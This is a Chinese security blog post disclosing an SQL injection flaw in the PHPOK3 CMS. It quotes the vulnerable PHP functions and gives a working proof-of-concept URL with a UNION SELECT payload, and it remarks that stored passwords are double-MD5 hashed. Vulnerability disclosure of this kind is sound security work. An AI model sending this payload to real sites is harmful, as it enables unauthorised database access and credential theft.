【漏洞】PHPOK3 企业网站建站程序注入

  • A+
所属分类:lcx

作者:jsbug

网站:http://hi.baidu.com/jsbug/

    朋友总是踩着俺的尸体踏上DOTA的超神之路,看到论坛有人说phpok,趁着周末,送上人头一枚,希望你也能超神。

phpok3/app/www/models/upfile.php”:

//通过ID串获取图片信息,这里获取的带有ID的缩略图
function piclist($idstring="")
{
    if(!$idstring)
    {
        return false;
    }
    $sql = "SELECT id,thumb url FROM ".$this->db->prefix."upfiles WHERE id IN(".$idstring.") ORDER BY substring_index('".$idstring."',id,1)";
    echo($sql);
    return $this->db->get_all($sql);
}

    IN() 这里的问题,有点类似当年的“Dz5.0”“pm.php”漏洞。

“phpok3/app/www/control/open.php”:

//通过Ajax预览图片
function ajax_preview_img_f()
{
//这里只是为了防止跨站,并且过滤的不好
    $idstring = $this->trans_lib->safe("idstring");
    if(!$idstring)
    {
        exit("empty");
    }
//直接代入
    $rslist = $this->upfile_m->piclist($idstring);
    sys_html2js($this->json_lib->encode($rslist));
}

    有几个同类型的就不再赘述了。

附 Exp:

http://localhost/phpok3/index.php?c=open&f=ajax_preview_img&idstring=0) union select 1,version()%23

官方图:

【漏洞】PHPOK3 企业网站建站程序注入

    密码两次 MD5,当然你也可以直接跑 Session (没测试,我随口一说)。

文章来源于lcx.cc:【漏洞】PHPOK3 企业网站建站程序注入

相关推荐: 科普:网上流畅一个种说法,只要有身份证就能办信用卡?套取用户信息?

网上流畅一个种说法,求见多识广大牛科普 clzzy (南无阿弥陀佛) | 2014-03-31 16:28 某日,某QQ头像闪动,打开一看,是一则广告,大概意思是:只要有身份证就能办信用卡。 求指教,这可能么?本人也是信用卡用户,办卡流程都是:提交资料--总行…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: